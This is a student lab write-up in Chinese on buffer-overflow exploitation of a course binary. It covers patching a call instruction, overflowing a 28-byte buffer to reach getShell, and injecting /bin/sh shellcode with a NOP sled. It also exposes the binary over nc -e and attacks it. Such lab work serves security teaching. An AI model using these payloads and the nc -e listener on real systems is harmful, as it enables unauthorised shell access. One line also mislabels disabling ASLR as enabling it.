PC平台逆向破解
1 关键内容
NOP, JNE, JE, JMP, CMP汇编指令的机器码
反汇编与十六进制编程器
正确修改机器指令改变程序执行流程
正确构造payload进行bof攻击
2 直接修改程序机器指令,改变程序执行流程
对/Desktop/20164306目录中的pwn1进行反汇编
objdump -d Desktop/20164306/pwn1
main 函数在 80484b5 处调用 8048491 的 foo 函数
对应机器指令为 e8d7ffffff ,其中 e8 为跳转,d7ffffff为补码,0xd7 → 1101 0111 → 0010 1001 → 0x29
0xb5 + 0x05 = 0xba
0xba - 0x29 = 0x91
getShell 函数位于 804847d
0x7d - 0xba = -0x3d 转换成补码为 0xc3
解锁、安装并运行十六进制编辑器
sudo rm /var/lib/dpkg/lock-frontend
sudo apt-get install wxhexeditor
wxHexEditor
将对应位置的 d7 修改为 c3 ,再次反汇编确认结果
3 通过构造输入参数,造成BOF攻击,改变程序执行流
使用先前备份的pwn2进行实验
cd Desktop/20164306/
cp pwn1 pwn2
main 函数调用 foo 函数,foo 函数中存在 Buffer overflow 漏洞
读入字符串时,系统仅预留了 0x1c 即 28 个字节的缓冲区
能够通过覆盖返回地址 80484ba 实现攻击
尝试输入字符串并判断具体是哪些字符会覆盖到返回地址
以八位为一组构造字符串进行调试
chmod 777 pwn2
gdb pwn2
r
1111111122222222333333334444444455555555
info r
发生了段错误,且根据 eip 数值,发现从数字 5(ASCII 码值 53 = 0x35)开始溢出,所以第 33 至第 40 个字符中的某些字符将覆盖返回地址
再次构造字符串
1111111122222222333333334444444412345678
根据 eip 数值,确定 1234 将会覆盖返回地址
为使返回地址指向 0804847d 处的 getShell 函数,需要构造以下字符串
11111111222222223333333344444444\x7d\x84\x04\x08
使用 perl 输出上述字符串,以转换其中的 16 进制数,输出重定向至文件 4306 中
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 4306
查看输出
确认无误后,查看文件并通过管道将查看结果送入 pwn2 中运行
(cat 4306; cat) | ./pwn2
输入回车,完成字符串输入,而后输入 ls 命令,能够获取当前文件目录,攻击成功
4 注入Shellcode并执行
以下 shellcode 将被用于攻击
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
实验前需要设置堆栈可执行并开启地址随机化
execstack -s pwn2 echo "0" > /proc/sys/kernel/randomize_va_space
连接对应进程,分析并寻找 shellcode 首地址所在区间
构造并注入 payload ,其中返回地址为 0xfff841e1 ← 落在 nop 区间内的一个地址
(perl -e 'print "A" x 32;print "\xe1\x41\xf8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./pwn2
验证攻击结果
如果不关闭地址随机化,每次运行 pwn2 产生新的进程会分配新的缓冲区地址,除非 nop 够大否则不可能成功
5 我打我自己(nc)
查看主机ip
ifconfig
模拟一个有漏洞的网络服务
nc -l 192.168.176.130 -p 4306 -e ./pwn2
打开新的终端,连接主机并发起攻击
(cat 4306; cat) | nc 192.168.176.130 4306
验证攻击结果
靶机终端提示“段错误”,攻击者完成入侵
6 总结与感悟
通过实验学习了机器指令运行的基本流程,了解了 Bof 攻击的基本原理
通过模拟三种不同情境下的攻击方式,全面认识到 Bof 攻击的危害,同时也思考了针对该类攻击的防御办法
(一)在编写程序时重视边界控制,设计针对非法输入的处理流程
(二)部分 CPU 运行时数据段和代码段的线性地址重叠,能够提供硬件级别的保护
(三)关闭堆栈可执行,开启内存随机化,修复系统漏洞,预防恶意程序入侵
但安全与方便总是相对立而存在的,繁琐的安全策略必然会降低系统的运行效率
因此我们在预防攻击的同时需要注意上述二者之间的平衡,通过实验不断学习,不断探索更高效的预防策略